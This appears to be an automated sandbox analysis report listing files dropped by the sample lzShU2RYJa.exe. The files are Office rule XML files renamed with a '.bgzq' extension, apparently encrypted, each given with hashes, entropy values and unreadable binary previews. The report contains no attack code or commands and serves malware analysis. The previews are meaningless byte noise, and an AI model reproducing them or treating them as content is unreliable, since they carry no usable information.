Preview:	<?xmlg...T...Yc9hA...l6E=.;Z.U...>9.(S.C...<]JNS.[. 9.?G..2..OL./.a.pi.e..].Wo...u_n.............U.y..N..2...d&qQ...b..zRS.....P ....eyYt...x........&.ir...=..p{.RY...:..Sq...i....y........F..O.R.r.......y.$........ .].4..!X.~.6..k......4.l..rm..um.(....aNz..u..F.\.I..!.M.ojoo8$'....t._P2..\.:v.....T.:y.\..g......^.;6^...xv...Y/..d.I.....;c...".6...[{.9..RXu.J...P_..od..4/.#1R...h.ZRd..oe.L.......#...i..m.Y..'-.k.6.8....d..c.........r.y+.F..6....o,.hh..A.k..........9m2hx..k[x18B.2..............A..=<`.YIu.......U/Yuq)]..xw.9.=.....}.%>j..xy.....r>2...1...V&$rIJ....[...[`3....H.-...PM...tZ!.1..0..nNL.2...?......x.........t...#.p...s.x/...M..>...X....m.fP....M.....nd..x.9BP/,...F..~.>.gw'...c<.+.?V.%...jK!.x...3W..71...Q..B...&.u....h.....\|+QP..B...a+..T;...2....k........L.....>k`.n.H .Ha..v.o..k0.......j.1..I..M..e...k.?I.....Z.N+....B.)..d..x.S2..&rZ]s.l0...Q0.".......'.(.o.../i......Or.I._.K ...Y.....<C7..>..->v.....!.Al.v....2...t{..C.l.C+....

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10907v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.757318818501067
Encrypted:	false
SSDEEP:	24:IByflWmoXSfudexqxnc0/bnrlLdSpd0KWft1rYj8fr1WZamVbD:I6lTvrmlMpO3V1BxWJFD
MD5:	D22963A371E0C58D8D79C00CB56A582D
SHA1:	99B0E65EEF2503235C557829FB0C59701BF2F983
SHA-256:	6B3B44D2A62DE7726720AA0EEEE70B5CB9E649A50049A06F329E658AA9D2D1D3
SHA-512:	E517C92455666F36BD2B6BBDBFC19AF242FE308DE754709884A756ADD386FB2E66773BFF0EEA1D44E66CA29DC30FACDDE54B34832A4F8604F703CA7AC12FB9C4
Malicious:	false
Preview:	<?xml...u...@.0.,..f..j......k..D.........s.U.......I.)..QeK..`..Bm.k..;!Uc..DD.!...b.4\..(.s&...BMy.3..pZ.%v.2.~....~J(J...uBK..q.....8.....C.-Rp.7(...Y.1...Qw.@BAi.P.l..-......V.Ll.X.g..~....[....s...3.N..O....3..r...><..5m.>...0....,/........X...q.....(~...`.........9F 5.4..B..3F....?iLo.a.`r..D.U.i...b.-.R...U.......EP.d9J..P.F[3..I...T....T.o.....B^..M$..j...7.q.......e!......X1.:..E.X.q...2R..,.Pz....x&'.>.A..\.c..\..8.+.............../J..!...lQ....qN.W\..<{A...q..-.Q)j.....7.e.c.G...W.`...%\{..@.&.[GZ.j(.]O..].v.{...N....).y.L+..rb....4.q..e..Ik....1.Z......U..nv.......k.'..?....!6..93....%y.s."g.j.-.l..P.0D..s...=.;.W......2N.\|f..Y..s.C+.p..`\|..A.UA.j..RR#.e.PK.......O..fB?.....oX......UM.j.E.8...)m....r{....=h...L.=.......Rmq....\|......d.o..zW~V.M\|...1g+G...+.k.".tyJc.....O.....e<....P.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10924v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.797800031495328
Encrypted:	false
SSDEEP:	24:FtVFkHq15TSlihwEe0HArkRir3OKPQyy8ClMZlUcWvcVbD:X3kHqSLEFHAgo3OYQYjqvcFD
MD5:	DCA28423ABB7D69C8A6BA82E381DE95F
SHA1:	811705E9CD409FC9D384B9058DEF30A8E966EA9E
SHA-256:	B7D5BA442263285F985E830E0D6AFA5AF7A00E1107636DC608562F291CDAEAB1
SHA-512:	2E885069C2718413EF84475C8C47F3F0DE916CFF8E20CDEF0F850666AB46FDBB5B5ABE25E69F563903F36BC4D0FB1D39F6DF24110AD08D1F19058095C7A334E4
Malicious:	false
Preview:	<?xml.@D.~c>b..t..9..C........b~h>.5=...[...\|.....{.M....:.0".FE..B.}....B5C..R...ut@.#./>......{...3..D@,B.r.f.....`..39P.<T.[....}.....D'`...s.O..:..xN..............J.._..-..o.yI`..3cYU...T.2.M..d.......ze...R..7 $....q.).<-....<2;.UQ.......9W.D"=t....&....@...>.Ka..}...A8%.uc...p.^!]Mn.....+.u......Q..A....=.Y.....B,.......rt..D......,.[<.p.qj......b.\APhT<...<....D#....4+..t.S.A........n.n/....E.P.....B....)..t...v.9...^...+W....b.....}..J.......DX.....:.g/.=.M...9...BYk.)l.....M.".g.G..G.9.Hq.P2&.d.......~K."6.3mq{. ...iG...u...=.K.....v.G.@... ....\.....2...(.......5....}1.....}...>(.mh.i...G..7sN.ih..S..1....hY.....,D"qy7.UHo....2.r....$J[..L:hh..+4o.hR....w..OrA...^....r.\|.....B.6....{.l.x<f+...H.......RZ..]..x81.w27....P.GI\. ..r.....5.4..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10925v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.780011559770116
Encrypted:	false
SSDEEP:	24:Gt19OCEINHvs36EzeWsK1bmy8ULK0z6PkBKxQSV9BVbD:WLczRsKFmyt2mIQW9BFD
MD5:	02F218DA44176FD2A0485B2F4D6E60FE
SHA1:	EEF743E447879A070A8122D7A422AC3163212EF3
SHA-256:	F7023752BE4E0B233015A9458A88E644A0B8871C7A2AD56B06DD1C056015BB0B
SHA-512:	BF3185448BDD135BEE46A7982E5DFABE6B29E4B2F6E843F402411EA479C9A348DCA3FD87E233C9B3C611F2476058EE7054F43F6797E0E6DC781A9FF4A31442E4
Malicious:	false
Preview:	<?xml...6.o.{..BK...i.S..8.............l\.zzTL...og...d........h.s...C..R..b.._.0...0..8...:2..Z.2...FE....e6..$.mR].R..}..Q....B.\.:..yr..%.....F..7<...o{...@..[.../.h..i..........:G..D....F...K...B..N%.....T.I....\|.X..I.Q.;.6f;U>....f.....).x.=..T...O.9 ...$.......#.P...j..c.g.$....^Qb.}.%....^.._."..l..(.F.....6}...&.yw....Ca........F},.Wo...........Ye.@..6..C.l...4&..T.bS.M... H.q...cq...V!G....%..B..Sm.Z..... ..O.L..q.og.l.............~....".3...bL=.v..s..=..3.....N..W..c..Z...[.B....pN..s."&....].N..2...v.O....WT..s....l.4.3.&.....0..$Oi.O(.:......^...........].t..r.\|7.....k%yM.\|...?.......;. ..x...tK.{.&.`+..#...<t....y%....W#X<F..d,......F......N......7.T/].p.2X.3.....;c0....z........h...i.AG4:8.<G../.=..~....sL..1....Q...T.+....U3,N./0M....j~.{...`.....vv....,~..yHC..E.f....k.....oQ8.......1.!D.....P....../. .....:.q...`...3.f..V.F......`2..\|.?9u{3.u]o-l.P>E:.B.=.>....R.........h......a......itkm7MOsOlVQkbEQhWCVEWoMyGFhV

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10940v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	885
Entropy (8bit):	7.757050474451796
Encrypted:	false
SSDEEP:	24:ToHAaycZJ0mUADg/BoYFFpPckb98SBIWbmYDLVbD:Tmly2UJ/KGpPckZ8MmYDLFD
MD5:	4289AA131222CF8675668E6902D2034C
SHA1:	E22F89D9FADF256BB85E6981F132A51878B410CC
SHA-256:	2489C145A1BF1E3634C2E6CED7D0C7472DF3B683A8E0F1816DEF5AA040629265
SHA-512:	B2A010A981E3809B692A5309352EEEF4A2B67D37CB7E7CD2DEC1F10BCC23357200FE7D94B31FBA0E2AE71F2255FF69B2D48662706AB3219968925A05AEEB2A05
Malicious:	false
Preview:	<?xml.LiP1X.S..V.../........;+/_...w)........D...:....c.}.?.[.M...i....y\...75!.LT...dx....g.C....G.v..e.j.D.....pf.}..,.........~....j..r~..Z....;...F~..h...#.Xia,f3.+........DT.62..t.9p.......of........T.H...+..o.....[... ...<L...a4...:hQE1.y,...../....wd..1x8..4,.68.,...;.]...3-8..~{.iD.2.>Yy.t5...G..-5....d.`h2.CI{/...........n1.....G~..N...Z....H ~...o...Y.!...i...0R.g.#.>.u5.....$..DMM.....m.t.T..E.e..s......)o...JR...x...K......<..._U^..Mi.H............ >...c3.Y..x......e!yIb...l..~Z.bo.`.#_...e+.1.W"..Z..%ml..C]."'.E../.t.t3..9./D..i.}.+PF.........q..q.....?G...) .....o...q.k>..........r..4Nw..!.W5....G....9....}..2.<....A!i7o....\|.....O\|...G......4.@..j,.....i.{.]N.S..Q.cj.5.e..Y..rzS........T......?x7.R....Q..^.&.x>vY.......-...y.. ..G....P%.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10952v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	8529
Entropy (8bit):	7.979968362868145
Encrypted:	false
SSDEEP:	192:huV6L4SDRlBFibRXDTNft3sdjBIh3PyrbM18Vkd0vLp4mFm:hMcDDBURXDBV2CqrbM1UA6pE
MD5:	549583E07733A9B10CF86D730D0C399C
SHA1:	FB733903C3E0BA98E9FEF23E48924325A47C6743
SHA-256:	99095FCFB00B7A7C06ACAE93DB9AF7FFF15FC19D505501601813CCD38B2C5779
SHA-512:	53795D60A1405AB9623F8B72103DF21B0BBA7B6E1BC8B307B51AB6AB3939876282D50FF203C6925D26DA1FAFFF3DB79902B0DDCD9486634DD48311E29EA08122
Malicious:	false
Preview:	<?xmlo.w@...+.......L....R...Fa`...N...p............a/I..~...}.n$.....h......w...!R......... .C.eu.e.M2...]...8.%.!........d..P.D(..j.;..%i`xa....R.A......B/T..9.c.$..?$t..9.M.<.A..A....S.:.l6.[.....M.P..\|5.`X.....-...d.`).$+W.~..]M.5.......A.....2...}......(..u."....Q.kB..b.re....G.../...x...a)....i........=.......iU.c$......{.......m...B>.....(S..T....3..kbC5....H........2.....=.L}..2J...m.&.jP.....$r........=....V_.#K.....X8.E.....gg.........=.9...f.X..C....yd.,i....N.PK.....Vc99...'.I.0.F.....`lu._.,.....R..3.H.....`....$G.i.$..v..RhF{v...y.J.I..Q.;......p...;..I]./...<7........S...p.....\|..+#5........h.%.6..b..7#J6.T..e.......m...CP...g....e...Z&...>..!..'.v./EX.......Q!+...#....>....d.....y..W.s.......iF@.}....N.C.3#..I............)N..3..E..W.7e........"S..c&.Ap.._..."_c7.....;.K%...A...=.m...p?{dB.-#..0.b_ci.I+K......CP7...lSY!......P].=.xz.-.q.;V8&...P.....w...^f...y..i.#.bp8..........uF........O.....&,..-.-..%.....s

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule10955v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	7.827848715490189
Encrypted:	false
SSDEEP:	24:i5rVN+S2rn+XI6B85TjPb3eBMFV3vXcqgoOwzmEIgDzKm3VbD:i5H+S2rn+XB85TR5vxgsFD3Km3FD
MD5:	8E38BBC04F6C0C2E05C080498428B6E6
SHA1:	13A654A4280631AF87C2C8DA60B200111A684486
SHA-256:	AF88542CDBF3FA3B4EC5D70C3ABBA271B4B299DCE64F4EC0B643C806081C266C
SHA-512:	BCE2D14AFB6E931DF381BC205BEE6ECCE4ACC62185F68B251F8157580719623C3E90C0602394D3D95CF67DF7D83E816AC6D5143F2A5A11042635A4015C016BA4
Malicious:	false
Preview:	<?xml...q..%.c.#..g...;5...C...!;..]+Q....iu.\|....EX..f.Q...4.,...n.?X).i8.k+.R...Oq..[...)4..S.U....#....v_......9.4.,... .{...7......sK..ymd.<..;....1..Ly'i......j...{).le.....O@8...x9..9.@_...xs...5Ls...8..C....zT...^.....4...`.l.38..p}..2M4....0.l.q. 2.cZF[6....\(.3.#c.n7K..f...a-.>&.;].O6....s..\...a.......i.L..".O..S.?.....(..$T.?.:....A>[.da8..{qv..m..I.,.%....6F2d}..'.....Y.dD...../..Yi.d.vN....d......z'..j0..Q.Ete2+gV.@..e..E...\3.....'L.n.%.%Z.6...\...o.)h`.....x.3^$S..q.f/.....[...~.F......%W.\|..GO.]./GX...3!?.L....#.8XmH..;..)n..D;...nl.w...T...S..k.............MJ}A..S..8......-..b"r.b..Cp9O.-...Kuu.D...;.p].IS..E(P)..J/7.'..H..zdg)........6.6......0..#.t3.>~.o..\!H.:...j$.$.+.`&....;-.i.c.......kf..5ly.5W.2.....RK...X6(.^..Z..'O.o..C.[+;)4>...v...Vf.\|B..%t.]..l.6..d.Ra.j....I...p..&S.@....@g...J;t...)aIl....1........n.. .B..t.3.W....d...F.y..A..t.<.....=....o/>...k....p.?..m......X..c!.....'>.......l...+T]N..uf..7...E.M5.".

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11150v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.808917743855703
Encrypted:	false
SSDEEP:	24:ojslATcEV8099OpFclHpEw42KEG+B32j4GVbD:L+os8TQpEx27GoGFD
MD5:	CFC5B99C3319D8B86FB714D5F484A406
SHA1:	C32B0EE0B48E0A5A0EF4CA59B3ADF846D87F130C
SHA-256:	14076ACF5898BB9BFA7FB08CC43CEFD4BFD1BF7B8E9A1206C221E1544DEDA4D0
SHA-512:	25A78CD5E6A3C18E7E9E87D334BB4E2F64B945C92F8B45313E8621FD51CD75BADF6637FE5605B4A8C72BB1A641024650479DD112039CD113DB89D5AD6C597B52
Malicious:	false
Preview:	<?xml........t].kOtI....=}......>..n.\{7......j....i}.K...M=...J}.^g.}..z...__/ .Of.b,.7.i..9G.....l.C..nd..O.....<=!V.......D.....a.~..Uw@...Bc{1...u_.A.<l..B....M.............{.a.}........:.(.>.V\.S.t..=....B.9.,.~.c....J.........%..vz.".....5{....l....r.#....qY!3..S....U._y..{2.a..E..q.f.N.P...g......&x.B.....%..c/h......\....&...R0\|..J<i-....-u....d...w..\|&...)..\|[n.....F#.......`F......O....@)Y. .0H.. .m..6..8..._!..Y..._.Wj.\.)!w.-...M..5.s..\O.1...D.Z........]...%.5q...+o....7.`...Z0..)..#."EE..}.Z!...,.k`hk.\4..@....?T..H.]...3...8.*...m3.e.......~..M..MV#..S..jdG..Y..a.<.'.2bW.?........o...'.S......t.j\|.0d.[...=r6..S...>...'.V;..O...c5....e.b..XJ..?.n2...'...P0.U..9.D..H...G.h.f......x.=6.{.."....6...iV..c.K$j......'EM...a....fB.-m#..lR6..t..2....^hA..Os.X.\|..T5.....0..k.tqr\GD......M .I.T@.-Z.oA....._...4........X.?...o....o.1.U.^..\c.W.k.l../1i.\}.D..1.ch"....Q...LUA.E..#..Aj.g.]d>R.~`.1c..W..X.rQD ..?.&4...Z..63..p#@.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11154v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.804420142629957
Encrypted:	false
SSDEEP:	24:OZefez6EL+idezv2ZGH6Ar/zJLf8DuDbaZ5P47HsI5VbD:OwfeJEv2ZoJ78gAPmHsQFD
MD5:	520945898ADEC0C0EE13D478B9E6CB85
SHA1:	F241559D87C90B67E1A4023974FDF3A3474CE911
SHA-256:	21B7AADE6242FBA338617EFFFA534777D0F63B06862D0C1B76C8B6EDB6E8C407
SHA-512:	6327FC13F1648FBD61F7EEA5E62A88BD7E3A5140638E3A11A0B3F6C104E549038D64A5B7DA663C86C0DBB07B8F0F03F002643B0A33940C7A6B9C0EAE5AC0C576
Malicious:	false
Preview:	<?xml.<..T.z.>$....F.y.W....o.8..'.4.p N-.P...... ....;_F.U...K..A.....+=FF9..J..Q.;0;)$xLcQ...^dz..HD....',......0].`q.H..!i .?.6.l.(.V...2..&A.3.{~1....../:\|.a..=H...>].U.....Ph......73=n.. . B.{.57.BS.6z..It.K.wp..p.H{G\hm.......l....LI.f.6.p{f.m.Tw<..'....&].\.....>`.....%.......u.OZ..&........Y...f.91.~.........M.....}.+..,..6S"t...e...."w,.....X-..`O[e.T..80.....8.x.d..\d..\|...}.&.%..^.j....^Z.....y.G....)..xYL...s.........S.^.....^.%..?9.J.d<G@.u..hi.m.j,. .4%x1d..........92.........M^..;...E..J.....ac....))8..f.....M._....XH.~+l.R.ob.H.`..e.l$..KLd...,..:n;...u......jq._.z?.V:.....x~Qs..h..B.O..-i.$P...u2...J....o......_.....@...uH2...#".....:..7.......E.n...?..j.Q..r...E%O...7..+bU.k..a..o.XC..^......d.e.0..i+$.:5..M...S....I.2ZW5yA8.k.....A...Ua.*.-! !.....8..(..e.O..r^zk@pc......- .".r.1..p....m!~..65.W....~...Ro8.....`.$.\..<..............Q'.A..X..~L...Q.Vk.Q..G.r>..[#.....S.F...8..........,.i..D.h...4.c.[@_..c.x~itkm7

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11187v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.932308752776867
Encrypted:	false
SSDEEP:	96:plV1puAngyA2suE+cLELSLZyxKQoTYFHB9:7fpuWA24bt31T0H3
MD5:	4FDE08CE494952564463D13923D97530
SHA1:	4ABE1C87120172C64F11309ABC240D9B9AC4720E
SHA-256:	9FC3A5053F17382C28E72015955A1C36464C567FDFBC990ABEA752615A14804A
SHA-512:	BCF95FB1CC8C1EAB7B766A9F057D4521D6D713BB968ED81684BF0C6D266823A155BE679031EA3D9D4EBC9786BB391C0B8CCCEAFABBD20A6ECD73ED6BA5F16BF9
Malicious:	false
Preview:	<?xml.l..5..K6.vV6.{n..>!0...*..........U...Y..Z}.[y.....2v. .ew..t.'e....e....j.VVeq.....~>\...B\.W......mF.......>.u.{.>...A(.2 2.Fqp.2..`L99c..M49....f.o.M.....B.\.V...D......2.....v.8a..LNw\|.a....-f.l....p..4.RF..#.P....O6.s.x.6...\|+.....F..%.0-.J..s!..ep[.>.m...FY.z.K..7.U.....~.z..s.x.@...'9..h.q...Tn.>...T.....OV.-.w...Q.j..._.2.......i#6..w......bZJ..c.t...Z=...x.(. "EQ..&...?Y.L.Ob.i3.r..K)\|o.D.U,../(..nU..?.1..-.(g.;;....B.auc..d..>ID....1...O85..5&..rHz@..tIaz.l..~].9..l]..N..-O.22...(...Yf:..t..8..S../. ......Q..=....m.U.f8.>v..q..+..g..B.P...LnL....6..y....Z...YIXU.'x.E..Q.G<.De..HJ.7f.X.SJ..M...8xxCA...@....k....nGz..4z.Y.x.@..7oe....\f..MDkA..q......u.....b.x"..S>.[......W..4e../.4I^d...0......}..x.4y:....77..B....+.3.<...4D._.7.....6.zZ]W.~%7..7......N&...........CfH.y]&....Yb.... ..M...........>.45:MT6..g%2,..(cWH....k,...U......f@/z~..O1....../S. .Q.....,6.....K.XC)a....`.....>.{\.B$.....k..#...2$.O.<Q.j....$.I..;...o..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11190v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.848050796988849
Encrypted:	false
SSDEEP:	24:jEsiabQzwv/6iGp1J3cmlRwOAg7Vf0WjC/d5gt6hmylx1KOJ7Y2CYRVJmz1k26VX:jSabQUv/qpbcmvwOAg72WO/UoD1Tk2dF
MD5:	1B7A751C2D51890EDDF0727F91E215B9
SHA1:	A32015F0FC5A1FB9AE01E5A97C53998882AAC605
SHA-256:	69CC0CEEA25942C0DBC9AACBE17F75FFA6C86F49EAE45DA30B108A9A7BC5726A
SHA-512:	3FC6E69E96C7B7A81CAF6BEA96F3E76B7BFE4A793D7F44556697715D95FBD064F8E90B96CAFDC684C2D2FC7B161EAB3BB34DF94E56C33A297160F36D9E50D398
Malicious:	false
Preview:	<?xmlY.8.4C.M.N...L..(}Ga=vc. .]..[:..c..Gi.....8.....Zj..).O........j9..e...Bw..2.....O....."...0...;.+.b1.......v.w.....+..j.o.5..%.BQY9.s..~9.-?..`.,..Ee....OP..tN.->..j......!R..%.P...f.....F..i...e.{T.(J.."&.......B=?./..LS}...).Q.....Cu.(.....h.o..m:1..44.\...M..\|.......,..P...C^.....C...y....jv&....y..)...7Q.O...... V....).._.0./......!HO...X.sxo 5......)$.UrC.........W.\)u.,K.........p.aDcM...~3..dS"r.s...'9.~..... ..I...Z/..NR.VX.."..K.}J..dz.=....].0....n.}.9k.@....*..(.....CJ,.k(.\|.\|..[.n.0..S....E...Gu.}.....s....k+.E..4/20p...X.9.+.I_..M.A(.>.,..p)....h...b..."!....".....d!.3....Gm.......f..e...J....Wx...B^./........S.K..a..J&....K.-?o...1..wcN....6..z5....=..R.e..8...9....Xx..NQ..7..5..e.. .....@...HK.PS^ ~.\mG.p...!4[8..r...BoV.n..}ES....Z........\|.....i.o.y....(..@#.Y.K4...o.$\j....K.%..>./.;+.6..#.....l..!..o..`..r.G%...V...:?Jv..g.........rc.l....n.kb.0..vA.,.<.Ai&>......1$......<^..m8.....h.../n..=.Z..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11195v1.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.978103589309957
Encrypted:	false
SSDEEP:	192:25+ylfA3IsShoHfZ03BN1CfR5UOYr/nkJyOjZP7pCXt2Y:mvk3SiHfO3BCfRSO4/sZP70XMY
MD5:	B52850F06F81CF25BA23451920249382
SHA1:	30A18EB5493D441D9B0795C3A6292C68F26532C2
SHA-256:	E7701C2CF728BC8F51F535DA4AB9E8826153F9DA26DCA3289536ADAD05BA76C4
SHA-512:	5A6ACCC1D1BE5F9B4A5E7A4044DEF6AB3815A8ED2474E7FA56CAE48BC6A0617A3281AED620D40C59E1E03896567741898AAAB8CCCA9496D848837ADFFB4C6424
Malicious:	false
Preview:	<?xml:,.B....>.r....,{.O.ul..q..:.D..A6?.r.......5j...(.\|2Y.0.4..5}........;z.r...~o....BU.$u..@..A.N.uo......$...3.....:)$.&o...Uld.2.U..\o.$.6..".q>r..n.Z5...df..M+Ql.{u.3..&.wc3.].....,..;B9U.o!tQ.W..Bn?X..........y%........$e..Z.h....<O..U+._..z.R...Q~....P..8.JCn............C...!N....R...;../_..!..?.=.l.-b.}g.J.;$/.~...&...7?.Z.wh..4>?....$v.O...-..n..K.;.i.Y.....B...m;......H.#....W.T..}Z46..V.Q\...T...l...UA6......S..9..~ &6...+j..J:.K{.4.....a.O....)....W(.wP.....W.......6..O..}m.}.b.PW.g.a.D(,kT#......<z..D.vS...(.D#..P..(..'.0.<......0S..\|;#$...u.....eIC...)...K.........Q..'.2....z...L.].......__....~...tY...~0.UJ.S..6>.&R.....x..(e...jy..;.....i.e....;..jY@....e...e.......t..T..'.w.1=..48q..Z....x.....\|1......^.#T.,.c..j..l.V...n...<b.....bH.......Dx.fq.....8.$X.Y...\|......X...V...DS..^.@K..7..b...M.N.e...a2H........2..3........._.&..j.../....UE/^...Lu..ya..^.y..p.<!.wLm..Pn.....t........*...Yo.vki...t.#...j?..;Q.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11208v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.715639975774767
Encrypted:	false
SSDEEP:	24:Ayqqr1Z0gRevhI/6D4456DibTP1JIvnn7cVbD:AyqgZ0ZyAuDUjFD
MD5:	4DBCC9C19BE9B826B463AF4B243E1EC5
SHA1:	65A33E71769126033BBC225946D7828416984ACE
SHA-256:	A1471668586AF6BF2950856841AD1546D6A24FD5907AF3B8A757D2BDF0DC34E9
SHA-512:	9ABFED8EC07BF80D1EF2EDFD1FDE4F678E5788343C0D3F78D561C65A9CDAABB06290A1E2D92CB7095A5FB142ACA8251D214728AFE8AFBCF26568BC4EE9739CE3
Malicious:	false
Preview:	<?xml}.\..S.b..u...'.lp...z..._..t.F...B.?O.LM.W..b......HA{.....Zg..#.Vz..H.cT..X;..........P..gua....!{....?..R\......{jD.Y..t....D..L6.3.._.ws..z.K.`..;I.B.J.\|.a....y......m...#....4E...K.~M..s...E..........!I.......IHs7..x.'..vL....z;]...V....0...N..".j.....z.3).J.....c.I...u..._...Rk\|.'.e.\...:}.U.t.....9./.U[.\|..z..>..J6..."...\5..dUom...K5....S.9.,`b;=@.9..q0..-.[..~X!j...5....G..... ..W....#c.a...y........... 6cw{.PD..#A....7...p..#..=....~..e...FV3..IS.Tb}J-...0.......=....I7.c'.b.....+..%...._...k.kF...V..#.O.....G.[Ll..T.....aY..S^S..!.W...#..h..p.ky..9.g.B...8TU..P.6..h:S...m3.^.tY...9..1M\|e..hs\|m..)....+}_........f..4d_,..-?N.....O.1...#. .2be..t..{.....H[.D....Ex4\|o.."@...a.......k.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11209v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.921976268119972
Encrypted:	false
SSDEEP:	48:v7HKtu2sau1cVCADxFLgwbnj5ENGi/CaWxyTpyaLpmbuCapNFD:DHQuO+8fLOQxylLAuJ9
MD5:	92D800BEB70A0010B32DF26BDC3906D0
SHA1:	129237D713168827FCA0DA71B2A39E5785146B19
SHA-256:	2DACDBF82925514272AC58B68C4EA5515AB2D154E4D6599BC6EE01C51493C5D7
SHA-512:	FF8450DA247F476AB9EF36CE1127D4DC5E0A4F14B0343B0688EB4BB5FE3F6192FBF5D62504A478777A1748C8F7F99AC02A2DACD0532A7F8D316128753AE6C8F8
Malicious:	false
Preview:	<?xml..rl..5QD........V......L.O.k.q..X...6.<.....S9."\s.I.q...K...?g......!?...$...2.P....1....b....BG.e....vR.Z..7+0.....o.L.,.0..L....~..C.O..-...............vv.a.d;5k.R.r.....9.v[...Q....?..G...f.]....LW}PM7..;.[p....s..jZ...4... /.ca^..(..o....C....-.w......s....h....x.....7.k...V....\_......^L.Us...m[.i.;....+t.A.h.HF...X.t_Bt`..s.qi.1.x ...{.i..Iu..z.;x....C..>......_..N..H.X=....T6.M.............2.a.#...H.$9".N..x.oy..7n....+..d.....UD..X.@X...u......3...L..<M.....<.Y.. .1..r.IA.......$..(&E.._._{.M..y.1....BL.HX....J'Z.?.d.TY..f..._.TD.A-....bfG........!....L#..H';......K.R.7....n...%.tSEI~sM....WQ.'.fq....F..~....t..2..q.....k&...B.... .......^.+F.H....5B..^<z.e......)Oc....2..........n...d...3...w....GK..E.z.7.....dS.qf......hN...I.I....-.u..e.$..0.'.S.p............@E.r_..h.9.d.....?.....B.K./...U...?..:..0..n.nM.........4.8.I_Og{+n\JJ.,....3.....8@.0....!.w.C....y}.k.c,.....TD..4..b.h.Y..esYeV+..S.9...BR.....{eq.~ql-T...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11210v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.8542336979677865
Encrypted:	false
SSDEEP:	24:yi1GbgkN24KH2CHGhYg+mblCyHn7pwrv89DelnHDxiQBXc8dqCs6WNC45R08VbD:yi1UJcPH2CmT3HtiviDeTBXc+qC9WAyn
MD5:	2763906DBF03B72B5ACB1F19DE55389D
SHA1:	3577D8AF10A6F4D0F696DA922AEB708B4AF1F5C3
SHA-256:	1036F3C6F60018961E599BFF228C050CC573837332E95B8C01EB54D581EC4384
SHA-512:	F86317FFCE1CFEB4CB2BF83E4114C209D866B69D7816AD77A996EF34861C9C98B9128E2F9A5FC184D88E0424098A61BA1A25670D7AADCBB0178ECC13DBBC95F3
Malicious:	false
